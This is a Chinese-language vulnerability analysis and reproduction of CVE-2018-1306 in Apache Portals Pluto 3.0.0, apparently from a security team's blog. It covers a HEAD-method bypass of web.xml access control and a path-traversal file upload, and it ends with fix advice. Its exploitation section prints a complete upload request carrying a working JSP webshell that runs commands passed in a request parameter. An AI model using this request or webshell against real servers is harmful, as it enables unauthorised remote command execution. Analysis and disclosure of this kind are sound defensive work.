Apache Portals Pluto 远程getshell漏洞分析及复现(CVE-2018-1306)

2018-10-25 20:06:5516905人阅读

0x01 漏洞描述

Apache Pluto使用Web.xml中的安全约束配置来控制对资源的访问,但是其中的安全约束配置存在缺陷,攻击者可以绕过身份验证。安全约束配置中,Pluto定义了GET、POST、PUT方法,由于未列出HEAD方法,因此可以使用HTTP HEAD方法来绕过安全约束策略。

并且PortletV3AnnotatedDemo Multipart Portlet war文件代码未限制和验证文件上传路径,攻击者可以利用"../"来自定义上传文件的保存路径。 利用两个设计缺陷进行配合,攻击者可以上传任意文件到任意文件目录,从而能获取服务器的webshell。

受影响版本

Apache Portals Pluto 3.0.0

0x02 漏洞分析

首先是未授权访问的问题,Pluto的web使用web.xml中的来进行URL权限访问控制,3.0.0版本中,权限控制代码文件为: PlutoHome/webapps/pluto/WEB-INF/web.xml 其中URL访问控制的代码片段如下:

  <security-constraint>

    <web-resource-collection>

      <web-resource-name>portal</web-resource-name>

      <url-pattern>/portal</url-pattern>

      <url-pattern>/portal/*</url-pattern>

      <http-method>GET</http-method>

      <http-method>POST</http-method>

      <http-method>PUT</http-method>

    </web-resource-collection>

    <auth-constraint>

      <role-name>pluto</role-name>

    </auth-constraint>

  </security-constraint>


禁止了使用GET、POST、PUT方法来访问/portal/、/portal/*下的接口URL,但是忽略了HEAD、DELETE、OPTION方法,因此攻击者可以利用HEAD方法来未授权访问定义的URL。

获取用户上传的文件内容,未对上传文件的后缀进行限制,存储的时候未对文件进行重命名,直接存储在Webapp的临时temp目录中,导致存在任意文件上传漏洞,具体产生漏洞的文件: PortletV3AnnotatedDemo/src/main/java/org/apache/portals/samples/MultipartPortlet.java ,代码片段如下:

1.png

未验证用户上传的文件后缀,并且会将用户上传的文件存储到webapps所在的临时目录中,获取上传请求中用户上传的文件名作为服务器上文件存储路径的一部分,用户可以使用"../"来进行目录穿越,控制恶意文件的存储位置。在3.0.1版本中进行了修复,修复代码片段如下:

2.png

getFile()方法代码片段如下:

3.png

用户无法控制上传文件的存储路径,并且存储临时文件的目录不在webapps目录下,因此攻击者无法通过上传方式获取Webshell。

0x03 漏洞利用

具体的利用漏洞上传文件的请求如下:

HEAD /pluto/portal/File%20Upload/__pdPortletV3AnnotatedDemo.MultipartPortlet%21-1517407963%7C0;0/__ac0 HTTP/1.1

Host: 127.0.0.1:9090

Content-Length: 1154

Cache-Control: max-age=0

Origin: http://139.199.99.172:9090

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryF6MK8q8QYRmAr8WT

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: http://139.199.99.172:9090/pluto/portal/File%20Upload/__pdPortletV3AnnotatedDemo.MultipartPortlet%21-1517407963%7C0;0/__re0/__rp0;color:,

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

------WebKitFormBoundaryF6MK8q8QYRmAr8WT

Content-Disposition: form-data; name="color"

#e0ffe0

------WebKitFormBoundaryF6MK8q8QYRmAr8WT

Content-Disposition: form-data; name="file"; filename="shell.jsp"

Content-Type: application/octet-stream

<FORM METHOD=GET ACTION='jspshell.jsp'>

CMD: <INPUT name='cmd' type=text  value="cmd /c dir">

<INPUT type=submit value='Run'></FORM>

<%@ page import="java.io.*" %>

<%

    String cmd = "whoami";

    String param = request.getParameter("cmd");

    if (param != null){ cmd = param; }

    String s = null;

    String output = "";

    try {

    Process p = Runtime.getRuntime().exec(cmd);

    BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));

    while((s = sI.readLine()) != null) { output += s+"\r\n"; }

    }  catch(IOException e) { e.printStackTrace(); }

%>

<pre><%=output %></pre>

------WebKitFormBoundaryF6MK8q8QYRmAr8WT--


最终的上传的webshell文件的物理访问路径为:$PLUTO_HOME/webapps/PortletV3AnnotatedDemo/temp/shell.jsp。 攻击者可以直接访问Webshell,进一步对Pluto服务器进行渗透测试。

0x04 修复建议

1、删除或卸载PortletV3AnnotatedDemo Multipart Portlet war file;

2、升级到Apache Portals Pluto 3.0.1版本;

3、修改web.xml文件中部分,禁止所有HTTP方法访问相应的资源,内容如下:

  <security-constraint>

    <web-resource-collection>

      <web-resource-name>portal</web-resource-name>

      <url-pattern>/portal</url-pattern>

      <url-pattern>/portal/*</url-pattern>

    </web-resource-collection>

    <auth-constraint>

      <role-name>pluto</role-name>

      </auth-constraint>

  </security-constraint>

 


0x05 参考链接

https://portals.apache.org/pluto/security.html

https://www.exploit-db.com/exploits/45396/

 


本文来自百度安全SiemPent Team,转载请注明出处及本文链接


0
现金券
0
兑换券
立即领取
领取成功